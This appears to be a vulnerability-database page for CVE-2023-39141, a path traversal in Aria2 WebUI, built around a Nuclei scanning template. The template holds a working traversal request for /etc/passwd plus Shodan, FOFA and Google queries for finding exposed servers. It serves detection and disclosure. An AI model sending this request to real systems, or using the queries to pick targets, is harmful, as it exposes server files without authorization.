CVE-2023-39141: Aria2 WebUI - Path traversal

2025-08-01 Aria2 WebUI PoC Public

Description

webui-aria2 commit 4fe2e was discovered to contain a path traversal vulnerability.

PoC

id: CVE-2023-39141

info:
  name: Aria2 WebUI - Path traversal
  author: DhiyaneshDk
  severity: high
  description: |
    webui-aria2 commit 4fe2e was discovered to contain a path traversal vulnerability.
  impact: |
    An attacker can access sensitive files on the server, potentially leading to unauthorized disclosure of sensitive information.
  remediation: |
    Upgrade to the latest version of Aria2 WebUI to fix the path traversal vulnerability.
  reference:
    - https://twitter.com/win3zz/status/1694239332465520684
    - https://gist.github.com/JafarAkhondali/528fe6c548b78f454911fb866b23f66e
    - https://github.com/ziahamza/webui-aria2/blob/109903f0e2774cf948698cd95a01f77f33d7dd2c/node-server.js#L10
    - https://github.com/codeb0ss/CVE-2023-39141-PoC
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-39141
    cwe-id: CWE-22
    epss-score: 0.03367
    epss-percentile: 0.88125
    cpe: cpe:2.3:a:ziahamza:webui-aria2:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: ziahamza
    product: webui-aria2
    shodan-query:
      - title:"Aria2 WebUI"
      - http.title:"aria2 webui"
    fofa-query: title="aria2 webui"
    google-query: intitle:"aria2 webui"
  tags: cve2023,cve,lfi,unauth,aria2,webui,ziahamza,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
      - "{{BaseURL}}/../../../../etc/passwd"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_1, "Aria2 WebUI")'
          - 'regex("root:x:0:0:",body_2)'
        condition: and
# digest: 4b0a00483046022100d9aa789820d315d62937271380f757c86a966883eb23f0a3dea282c3df72cb22022100cf7d50cc9bd58bf15971d9c880c6c62617f37f1663c2bbee39da4e40f8e997ef:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities